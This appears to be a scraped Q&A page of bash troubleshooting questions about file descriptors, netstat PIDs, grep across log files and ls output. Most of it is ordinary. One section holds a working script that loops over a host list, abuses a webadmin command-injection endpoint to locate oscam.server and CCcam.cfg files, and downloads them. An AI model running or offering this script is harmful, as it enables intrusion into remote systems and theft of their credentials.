BASH - GREP - invert much not working - bash

I'm trying to find a number of open file descriptors by user "apache". I would like to exclude ls: /proc/PID/fd: No such file or directory but the GREP exclusing is not working:
# for pid in $(lsof -u apache | awk '{ print $2 }' | uniq); do ls -1 /proc/$pid/fd | grep -v "No"; done | wc -l
ls: /proc/PID/fd: No such file or directory
1944

Try |& grep -v "No such file or directory"
Unlike |, |& will also redirect the error output of ls

Try:
for pid in $(lsof -u apache | tail -n +2 | awk '{ print $2 }' | uniq); do ls -1 /proc/$pid/fd ; done | wc -l

Related

how to retrieve open file handle count for a pid via shell script

I am trying to retreive open file handle count for a particular PID in a variable via shell script and displaying the same.It is not showing the correct count. Can someone please advise?
pid=$(ps -ef | grep 'instance="AC"' | grep -v grep | awk '{print $2}') f_count=$(ls /proc/$'{pid}' | wc -l)
Expected output:
=============
When executed in command line , it shows
ps -ef | grep 'service_instance="AC"' | grep -v grep | awk '{print $2}'
25939
ls /proc/25939/fd | wc -l
98
Actual Output:
f_count= 0
Appreciate your help, thanks
Suggesting to replace:
pid=$(ps -ef | grep 'instance="AC"' | grep -v grep | awk '{print $2}')
With:
pid=$(pgrep -f 'instance="AC"')
Notice that pid takes the first matched process.
If there are more than one matched process pgrep returns multiple lines.
Suggesting to replace:
f_count=$(ls /proc/$'{pid}' | wc -l)
with
f_count=$(ls /proc/${pid}/fd | wc -l)
Or all together in one line
f_count=$(ls /proc/$(pgrep -f 'instance="AC"')/fd | wc -l)

One liner working, but in bash script not working, why?

oneliner
curl "127.0.0.1:81/webadmin/script?command=|ps%20-T%20-f" | grep oscam | awk 'BEGIN{IGNORECASE=1;oscam;RS="<br>"}; {print $11};' | awk '{print "/file?file="$0"/oscam.server"}' | awk '!x[$0]++'
and bash style
#!/bin/sh
OSCAM="/webadmin/script?command=|ps%20-T%20-f" | grep oscam | awk 'BEGIN{IGNORECASE=1;oscam;RS="<br>"}; {print $11};' | awk '{print "/file?file="$0"/oscam.server"}' | awk '!x[$0]++' > oscam.source.tmp
URL2=$(cat oscam.source.tmp)
for URL in `cat links.md`; do echo $URL; curl -m 5 $1 "$URL$OSCAM" > oscam.source; curl -m 5 $1 "$URL$URL2"
done > oscam.server.new
the main problem for me on script didnt running normally, didnt gave an output for oscam.source.tmp
ok refined the script
now finally working :),
#!/bin/bash
for URL in $(< links.md); do echo curl -L -m 5 $1 "'"$URL"/webadmin/script?command=|find%20/etc%20/var%20/usr%20|%20egrep%20%22CCcam.cfg|oscam.server%22'" | bash - | egrep "oscam.server<br>|CCcam.cfg" | awk 'BEGIN{RS="<br>"} {print $1}' > oscam.source.bak && awk '!/^$/' oscam.source.bak | awk '$0="/file?file="$0' > oscam.temp;
for URL2 in $(< oscam.temp); do echo curl -L -m 5 $1 "$URL$URL2" | bash -
done
done > oscam.server.new

One-liner to retrieve path from netstat port

I'm looking to create a one liner that, given a port number (2550) uses the returned value from netstat would allow me to then run the resulting output against ps -ef to return the path of the process in question. I have:
ps -ef | grep $(netstat -tonp | grep 2550 | awk '{split($7,a,"/"); print a[1]}')
and whilst I know
netstat -tonp | grep 2550 | awk '{split($7,a,"/"); print a[1]}'
returns the expected resulted, the subsequent grep tells me that there is no such file or directory (but, if I do the ps -ef | grep **) it works just fine... I'm obviously missing something... well, obvious, but I can't see what?
try something like (it takes the first PID/port corresponding, not all):
Port=2550;ps -f --pid $( netstat -tonp | awk -F '[ \t/]+' -v Port=$Port '$0 ~ "([0-9]+[.:]){4}" Port { PID= $7;exit}; END { print PID+0 }' ) | sed 's/^\([^ \t]*[ \t]*\)\{7\}//'
the last sed is assuming a ps reply like this (space are important):
usertest 4408 4397 0 09:43 pts/6 00:00:00 ssh -p 22 -X -l usertest 198.198.131.136
for every PID and with no ending sed:
Port=2550; ps -ef | awk -v PIDs="$( netstat -tonp | awk -F '[ \t/]+' -v Port=${Port} '$0 ~ (":" Port) { print $7}' )" 'BEGIN{ split( PIDs, aTemp, /\n/); for( PID in aTemp) aPID[ aTemp[PID] ] }; $2 in aPID { sub( /^([^ \t]*[ \t]*){7}/, ""); print}'
This will give you the pids:
<sudo> netstat -tulpen | awk '$4 ~ /:2550$/{sub("/.*","",$NF);print $NF}'
You can use xargs to pass the pid to ps:
netstat -tulpen | awk '$4 ~ /:2550$/{sub("/.*","",$NF);print $NF}' | xargs -P 1 ps -o pid,cmd -p

grep search with filename as parameter

I'm working on a shell script.
OUT=$1
here, the OUT variable is my filename.
I'm using grep search as follows:
l=`grep "$pattern " -A 15 $OUT | grep -w $i | awk '{print $8}'|tail -1 | tr '\n' ','`
The issue is that the filename parameter I must pass is test.log.However, I have the folder structure :
test.log
test.log.001
test.log.002
I would ideally like to pass the filename as test.log and would like it to search it in all log files.I know the usual way to do is by using test.log.* in command line, but I'm facing difficulty replicating the same in shell script.
My efforts:
var-$'.*'
l=`grep "$pattern " -A 15 $OUT$var | grep -w $i | awk '{print $8}'|tail -1 | tr '\n' ','`
However, I did not get the desired result.
Hopefully this will get you closer:
#!/bin/bash
for f in "${1}*"; do
grep "$pattern" -A15 "$f"
done | grep -w $i | awk 'END{print $8}'

Need help in ls -ltr linux bash

I want to list the last 3 logs in a specific folder and redirect the output to another tmp.out file.
ls -ltr /home/oracle/$dbserver/*.log | awk '{print $9}' | tail -3 | tee tmp.out
What I expect to see in the tmp file is:
a.out
b.out
c.out
What I get instead is:
/home/oracle/DB1/a.out
/home/oracle/DB1/b.out
/home/oracle/DB1/c.out
I definitely need to use something between tail and tee. Can somebody help me?
ls -ltr /home/oracle.$dbserver/*.log | tail -3 | awk '{print $NF}' | awk -F/ '{print $NF}' | tee tmp.out
Jut cd to that directory and then
cd /home/oracle/$dbserver/ && ls -ltr *.log | awk '{print $9}' | tail -3 | tee $OLDPWD/tmp.out
the basename command will take a string of the form /foo/bar/baz.txt and return simply baz.txt. Invoke it via xargs, making sure to use the command-line flag -n 1 so it only sends one filename at a time to basename.
ls -ltr /home/oracle/$dbserver/*.log | awk '{print $9}' | xargs -n 1 basename | tail -3 | tee tmp.out

Resources